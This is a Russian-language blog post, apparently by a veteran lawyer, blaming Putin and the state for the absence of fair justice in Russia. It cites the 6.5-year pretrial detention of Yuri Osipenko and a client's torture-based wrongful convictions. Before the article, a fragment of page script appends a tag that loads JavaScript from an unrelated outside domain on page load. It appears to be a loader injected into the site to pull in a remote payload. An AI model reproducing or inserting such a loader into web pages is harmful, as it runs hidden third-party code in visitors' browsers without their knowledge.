, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })
RSS
 

Кто повинен в том, что в России нет правосудия?

11 Апр

Напомню, что правосудие является видом государственной деятельности, осуществляемой с соблюдением особого порядка, закреплённого Конституцией и процессуальным законодательством.

Именно соблюдение этого порядка и является критерием, дающим ответ на то, состоялось правосудие или творился произвол.

Не раз писал о том, что на протяжении 15 лет в России, где не изжито пыточное судопроизводство, ежегодно неправомерно осуждают 500−700 тысяч человек, не исследуя собранные по делу доказательства, на одних только признательных показаниях обвиняемых, что прямо запрещает Конституция России и часть 2 статьи 77 УПК РФ.

Кроме того, не оправдались  надежды на то, что суд, вместо прокурора,   избирая в качестве меры пресечения, содержание под стражей,  исполнит свое предназначение — защиту личности от незаконного и необоснованного обвинения, осуждения, ограничения её прав и свобод.

Произвола стало больше, чем когда это осуществляла прокуратура.

Огромное количество предпринимателей сидит в СИЗО месяцами, и даже годами, пока ведётся следствие.

Самый удручающий пример — Юрий Осипенко, предприниматель из Новочеркасска, пробывший http://rapsinews.ru/human_rights_protection_news/20180823/286625483.html  в СИЗО 6,5 лет до вынесения по делу  обвинительного приговора.

Суд 28 раз продлевал срок содержания под стражей Осипенко.

Это при том, что статья 109 УПК РФ не допускает содержание под стражей при расследовании преступлений свыше 18 месяцев. Дальнейшее продление срока не допускается. Обвиняемый, содержащийся под стражей, подлежит немедленному освобождению.

Это при том, что УПК РФ есть статья 6.1. «Разумный срок уголовного судопроизводства».

Бизнес-омбудсмен Борис Титов  начал заниматься делом Осипенко в 2013 году и неоднократно направлял письма в поддержку предпринимателя президенту РФ, председателю Верховного суда РФ, Уполномоченному по правам человека в РФ. В ответ отписки.

Суд признал ростовского предпринимателя виновным в хищении денег у пайщиков Новочеркасского кредитного потребительского кооператива «Инвестор-98».

Однако эксперты аппарата уполномоченного сомневаются в виновности Осипенко.

По их мнению, в пользу невиновности предпринимателя свидетельствует то, что Осипенко не являлся сотрудником кооператива и не имел отношения к его хозяйственной деятельности. Получение Осипенко невозвращенных займов у кооператива не подтверждено материалами дела и кассовыми книгами компании, утверждают эксперты.

Почему на эти доводы никто не реагировал?

Вот, если бы Путин не стал Президентом России, а стал бы обычным предпринимателем, как Осипенко,  как бы он реагировал на этот произвол.

Какую защиту при таком судопроизводстве ему могли бы обеспечить адвокаты?

По делу моего доверителя Костюхина, неправомерно осужденного судьями Тушинского районного суда г. Москвы дважды на 15 лет лишения свободы за деяния, которые он не совершал, также никто в течение четырёх лет не реагировал. Куда я только не обращался. В ответ получал отписки о том, что судьи у нас независимы.

То, что судьи обязаны повиноваться, подчиняться только Конституции России и требованиям процессуального законодательства, а они этого не делали, оставляли без внимания и опровержения.

На мои доводы о неправосудности приговора первой обратила внимание председатель Московского городского суда О.А. Егорова.

Именно она вышла с инициативой отмены первого неправосудного приговора.

Неправосудность приговоров была доказана последующими судебными решениями, но никто из 12 судей, что принимали решение по делу и моим жалобам на неправосудный приговор, ответственности не понесли.

Никакой ответственности не понесли и те, кто пыткой током заставляли Костюхина взять на себя чужую вину.

Как практикующий более 45 лет юрист могу утверждать, что виновных в отсутствии правосудия в стране, надо искать не среди судей, а среди тех, кто осуществляет государственную власть, кто так и не установил механизмов умеряющих самовластие.

По Основному Закону страны  Владимир Путин является гарантом Конституции России и именно на нём лежит обязанность наладить государственное управление таким образом, чтобы жизнь в стране осуществлялась по воле народа, изложенной в Конституции, чтобы   действующие в стране законы исполнялись. При этом  смысл, содержание и применение законов, деятельность законодательной и исполнительной власти обеспечивались правосудием.

Для этого единственный источник власти в России, многонациональный народ наделил исполняющего Президентскую власть всеми полномочиями.

Именно Путин на протяжении многих лет формирует состав исполнителей судебной и исполнительной властей.

Но, как эти исполнители осуществляют свои полномочия, насколько судьи беспрекословно слушаются, повинуются, подчиняются Конституции, Путин ни разу не проверял и не давал какой-либо оценки.

Если работе МВД, ФСБ, СКР и Генеральной прокуратуре Путин ежегодно даёт хоть какие-то оценки, то, как работает судебная власть, он ни разу не оценил с позиций назначения уголовного судопроизводства.

О нарушениях судопроизводства в Администрацию Президента поступают тысячи обращений. Сам побывал там и подробно в книге: «Обращения юриста к Президентам России» «Юрлитинформ», 2012. —  256,  описал, как там неумело организован приём.

Как оказалось,  в Администрации Президента нет сотрудника, способного сделать анализ поступающих обращений и подготовить по ним предложения гаранту Конституции.

Иногда Путин узнаёт о несуразностях в судопроизводстве и публично высказывается: — «Крайне ответственно http://kremlin.ru/events/president/news/60100  относиться к согласию на рассмотрение в судах уголовных дел в особом порядке»; — «Рассмотрение дел в особом порядке — важный, конечно, инструмент, но он не должен служить прикрытием некачественной, некомпетентной работы в сфере следствия»; — «Действительно, смотрите http://kremlin.ru/events/president/news/59863  , человек сидит за решёткой, его ни разу в течение нескольких месяцев не вызывали на допрос»; — «Но как так? У него сидит человек за решёткой, а он в отпуск пошёл и за несколько месяцев ни разу на допрос не вызвал. Такого не должно быть, надо точно с этим разобраться».

Но дальше таких высказываний дело не идёт.

Разве этого ждут более 50 млн. россиян, что в очередной раз избрали Путина быть гарантом Конституции?

И, ещё поражает наше молчаливое  юридическое сообщество.

Будь в стране такие юристы, как  Л.М. Карнеева,   В.М. Савицкий, В.Н. Кудрявцев вряд ли осуществляющие государственную власть, могли так спокойно игнорировать требования Основного Закона страны, и назначение уголовного судопроизводства, как это происходит сейчас.

 
Комментариев нет

Автор: ossin Категория: Прочие заметки

 

Оставить комментарий

Вы должны войти, чтобы оставить комментарий.